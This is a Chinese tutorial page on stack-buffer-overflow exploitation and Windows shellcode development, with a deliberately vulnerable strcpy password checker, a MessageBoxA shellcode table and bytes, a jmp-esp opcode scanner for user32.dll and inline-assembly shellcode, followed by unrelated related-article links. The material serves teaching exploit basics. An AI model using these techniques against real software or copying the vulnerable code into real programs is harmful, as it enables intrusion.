栈溢出原理与 shellcode 开发

#include<stdio.h>#include<string.h>#define PASSWORD "1234567"int verify_password (char *password){int authenticated;char buffer[8];authenticated=strcmp(password,PASSWORD);strcpy(buffer,password);return authenticated;}int main(){int valid_flag=0;char password[1024];while(1){printf("please input password:");scanf("%s",password);valid_flag = verify_password(password);if(valid_flag){printf("incorrenct\n");}else{printf("Congratulation\n");break;}}return 0;}
#include<stdio.h>#include<string.h>#define PASSWORD "1234567"int verify_password (char *password){int authenticated;char buffer[8];printf("%p\n",&buffer);authenticated=strcmp(password,PASSWORD);strcpy(buffer,password);return authenticated;}int main(){int valid_flag=0;char password[1024];FILE *fp;if(!(fp=fopen("password.txt","rw+"))){exit(0);}fscanf(fp,"%s",password);valid_flag = verify_password(password);if(valid_flag){printf("incorrenct password!\n");}else{printf("Congratulation\n");}fclose(fp);return 0;}


| 机器码 | 汇编 | 注释 |
| 33DB | XOR EBX, EBX | 压如NULL结尾的“failwest”字符串 |
| 53 | PUSH EBX | 之所以用EBX清零后入栈作为字符串的 |
| 6877657374 | PUSH 6877657374 | 截断符,是为了避免“PUSH 0”中的NULL |
| 686661696C | PUSH 686661696C | 否则植入的机器码会被strcpy函数截断 |
| 8BC4 | MOV EAX, ESP | EAX里是字符串指针 |
| 53 | PUSH EBX | 4个参数按从右向左的顺序入栈 |
| 50 | PUSH EAX | 分别是(0,failwest,failwest,0) |
| 50 | PUSH EAX | |
| 53 | PUSH EBX | |
| B8EA07D577 | MOV EAX, 0x77D507EA | 调用MessageBoxA 不同的机器这里的函数入口 |
| FFD0 | CALL EAX | 地址不同 |
基地址+偏移地址 = MessageBoxA在内存中的入口地址

#include<Windows.h>#include<stdio.h>#define DLL_NAME "user32.dll"int main(){BYTE* ptr;int position,address;HINSTANCE handle;BOOL done_flag = FALSE;handle = LoadLibrary(DLL_NAME);if(!handle){printf(" load dll erro !");exit(0);}ptr = (BYTE*)handle;for(position = 0; !done_flag; position++){try{if(ptr[position] == 0xFF && ptr[position+1] == 0xE4){//0xFFE4 is the opcode of jmp espint address = (int)ptr + postion;printf("OPCODE found at 0x%x\n",address);}}catch(...){int address = (int)ptr + position;printf("END OF 0x%x\n", address);done_flag = true;}}return 0;}

#include<Windows.h>int main(){HINSTANCE LibHandle;char dllbuf[11] = "user32.dll";LibHandle = LoadLibrary(dllbuf);_asm{sub sp, 0x440xor ebx, ebxpush ebx //cut stringpush 0x74736577push 0x6C696166mov eax, esppush ebxpush eaxpush eaxpush ebxmov eax, 0x77D507EAcall eax //call MessageBoxApush ebxmov eax, 0x7C81CAFAcall eax //call exit(0)}}

33DB xor ebx,ebx53 push ebx68 77657374 push 0x7473657768 6661696C push 0x6C6961668BC4 mov eax,esp53 push ebx50 push eax50 push eax53 push ebxB8 EA07D577 mov eax,user32.MessageBoxAFFD0 call eax53 push ebxB8 FACA817C mov eax,kernel32.ExitProcessFFD0 call eax
栈溢出原理与 shellcode 开发的更多相关文章
- OAuth的机制原理讲解及开发流程
本想前段时间就把自己通过QQ OAuth1.0.OAuth2.0协议进行验证而实现QQ登录的心得及Demo实例分享给大家,可一直很忙,今天抽点时间说下OAuth1.0协议原理,及讲解下QQ对于Oaut ...
- Windows栈溢出原理
1.栈是什么? 栈是一种运算受限的线性表 其限制是仅允许在表的一端进行插入和删除运算 这一端称为栈顶(TOP),相对的另一端称为栈底(BASE) 向一个栈插入新元素,称作进栈.入栈或压栈(PUSH) ...
- Zookeeper原理和实战开发经典视频教程 百度云网盘下载
Zookeeper原理和实战开发 经典视频教程 百度云网盘下载 资源下载地址:http://pan.baidu.com/s/1o7ZjPeM 密码:r5yf
- Shellcode开发辅助工具shellnoob
Shellcode开发辅助工具shellnoob Shellcode开发的过程中会遇到很多繁杂的工作,如编译.反编译.调试等.为了减少这部分工作,Kali Linux提供了开发辅助工具shelln ...
- VR原理讲解及开发入门
本文是作者obuil根据多年心得专门为想要入门的VR开发者所写,由52VR网站提供支持. 1. VR沉浸感和交互作用产生的原理: 在之前,我们观看一个虚拟的创造内容是通过平面显示器的,52VR ...
- [转]VR原理讲解及开发入门
本文转自:http://www.52vr.com/article-661-1.html 本文是作者obuil根据多年心得专门为想要入门的VR开发者所写,由52VR网站提供支持. 1. VR沉浸感和 ...
- springboot深入学习(二)-----profile配置、运行原理、web开发
一.profile配置 通常企业级应用都会区分开发环境.测试环境以及生产环境等等.spring提供了全局profile配置的方式,使得在不同环境下使用不同的applicaiton.properties ...
- OAuth的机制原理讲解及开发流程(转)
1.OAuth的简述 OAuth(Open Authorization,开放授权)是为用户资源的授权定义了一个安全.开放及简单的标准,第三方无需知道用户的账号及密码,就可获取到用户的授权信息,并且这是 ...
- 【转载】OAuth的机制原理讲解及开发流程
1.OAuth的简述 OAuth(Open Authorization,开放授权)是为用户资源的授权定义了一个安全.开放及简单的标准,第三方无需知道用户的账号及密码,就可获取到用户的授权信息,并且这是 ...
随机推荐
- Navicat 的安装及破解
本地环境: ubutun 14 1.安装. ①先老实选择官方试用版安装(不推荐在各个下载平台去下载) 中文版:http://www.navicat.com.cn/download/navicat-fo ...
- jQuery生成二维码 jquery.qrcode.js
https://github.com/jeromeetienne/jquery-qrcode 1.将jquery.qrcode.min.js和jquery添加到您的网页中 <script src ...
- git 连接github的配置
这段时间要先在git上开发,上传代码到github上,所以首先需配置本地的git和github. 这几篇文章都不错,可以参考一下,大体的配置都很清楚. 1:https://blog.csdn.net/ ...
- 在div中放一个相同大小的svg,实际显示的位置svg偏下
svg默认display为inline,改成block即可与div完全重合.
- DBCC - Undocumented commands
These commands may affect system performance and/or force table-level locks.There is no guarantee th ...
- 自建yum源解决Ceph搭建过程中从官网取包慢的问题
最近项目组需要ceph环境,第一次搭建ceph,各种不顺,装了卸,卸了装,一遍又一遍地按照官网的操作进行.最气人的是网速差,从官网取包太慢.一轮尝试就浪费一上午. 因此想到本地新建yum源. 首先,按 ...
- Linux服务列表(CentOS)
1.service用法 service SCRIPT COMMAND [OPTIONS] #执行脚本中方法,最常用法 service --status-all #查看所有服务的运行状态 service ...
- 原 spring-boot工程中,jpa下hibernate的ddl-auto的各种属性
jpa: hibernate: ddl-auto: create ddl-auto:create----每次运行该程序,没有表格会新建表格,表内有数据会清空 ddl-auto:create-d ...
- 通过改变unity中物体的alpha值实现若隐若现的效果
RawImage logo = mainLogo.transform.FindChild("back/headBack/Logo").GetComponent<RawImag ...
- bzoj2055
题解: 似乎是放在费用流里的 然而是有上下界的网络流QAQ 代码: #include<bits/stdc++.h> using namespace std; ; int n,m,x,min ...